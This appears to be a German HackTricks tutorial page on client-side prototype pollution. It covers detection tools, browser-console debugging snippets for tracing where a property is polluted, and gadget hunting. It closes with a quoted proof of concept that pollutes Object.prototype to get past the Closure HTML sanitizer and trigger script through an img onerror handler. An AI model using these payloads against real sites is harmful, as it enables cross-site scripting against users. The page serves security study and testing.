Client Side Prototype Pollution

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Entdeckung mithilfe automatischer Tools

Die Tools https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap und https://github.com/kosmosec/proto-find können verwendet werden, um Prototyp-Verschmutzungsanfälligkeiten zu finden.

Darüber hinaus könnten Sie auch die Browser-Erweiterung PPScan verwenden, um die Seiten, die Sie aufrufen, automatisch auf Prototyp-Verschmutzungsanfälligkeiten zu scannen.

Debuggen, wo eine Eigenschaft verwendet wird

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Ermittlung der Ursache der Prototype Pollution

Sobald eine Prototype Pollution-Schwachstelle von einem der Tools identifiziert wurde und der Code nicht übermäßig komplex ist, können Sie die Schwachstelle möglicherweise finden, indem Sie nach Schlüsselwörtern wie location.hash, decodeURIComponent oder location.search in den Chrome Developer Tools suchen. Dieser Ansatz ermöglicht es Ihnen, den anfälligen Abschnitt des JavaScript-Codes genau zu lokalisieren.

Für größere und komplexere Codebasen besteht eine einfache Methode darin, den anfälligen Code mithilfe der folgenden Schritte zu entdecken:

  1. Verwenden Sie ein Tool, um eine Schwachstelle zu identifizieren und ein Payload zu erhalten, der darauf abzielt, eine Eigenschaft im Konstruktor zu setzen. Ein von ppmap bereitgestelltes Beispiel könnte wie folgt aussehen: constructor[prototype][ppmap]=reserved.

  2. Setzen Sie einen Haltepunkt in der ersten Zeile des JavaScript-Codes, der auf der Seite ausgeführt wird. Aktualisieren Sie die Seite mit dem Payload und unterbrechen Sie die Ausführung an diesem Haltepunkt.

  3. Während die JavaScript-Ausführung angehalten ist, führen Sie das folgende Skript in der JS-Konsole aus. Dieses Skript signalisiert, wenn die 'ppmap'-Eigenschaft erstellt wird, was bei der Lokalisierung des Ursprungs hilft:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Navigiere zurück zum Quellen-Tab und wähle "Skriptausführung fortsetzen". Das JavaScript wird weiterhin ausgeführt, und die 'ppmap'-Eigenschaft wird wie erwartet verunreinigt sein. Die Verwendung des bereitgestellten Snippets erleichtert die Identifizierung des genauen Ortes, an dem die 'ppmap'-Eigenschaft verunreinigt wird. Durch Untersuchung des Aufrufstapels können verschiedene Stapel, in denen die Verunreinigung aufgetreten ist, beobachtet werden.

Bei der Entscheidung, welchen Stapel zu untersuchen ist, ist es oft nützlich, Stapel zuzuordnen, die mit JavaScript-Bibliotheksdateien verbunden sind, da die Prototyp-Verunreinigung häufig in diesen Bibliotheken auftritt. Identifiziere den relevanten Stapel, indem du seine Verbindung zu Bibliotheksdateien untersuchst (sichtbar auf der rechten Seite, ähnlich wie auf einem Bild zur Orientierung dargestellt). In Szenarien mit mehreren Stapeln, wie z. B. auf den Zeilen 4 und 6, ist die logische Wahl der Stapel in Zeile 4, da er das erstmalige Auftreten der Verunreinigung und damit die Ursache der Schwachstelle darstellt. Durch Klicken auf den Stapel wirst du zum verwundbaren Code weitergeleitet.

Auffinden von Skript-Gadgets

Das Gadget ist der Code, der missbraucht wird, sobald eine PP-Schwachstelle entdeckt wird.

Wenn die Anwendung einfach ist, können wir nach Schlüsselwörtern wie srcdoc/innerHTML/iframe/createElement suchen und den Quellcode überprüfen, um festzustellen, ob er zur Ausführung von JavaScript führt. Manchmal können erwähnte Techniken überhaupt keine Gadgets finden. In diesem Fall zeigt die reine Überprüfung des Quellcodes einige interessante Gadgets auf, wie im folgenden Beispiel.

Beispiel zum Auffinden von PP-Gadgets im Mithil-Bibliothekscode

Überprüfe diesen Artikel: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Neukompilierung von Payloads für verwundbare Bibliotheken

Umgehung von HTML-Sanitizern über PP

Diese Forschung zeigt PP-Gadgets, die verwendet werden können, um die Sanktionen zu umgehen, die von einigen HTML-Sanitizer-Bibliotheken bereitgestellt werden:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated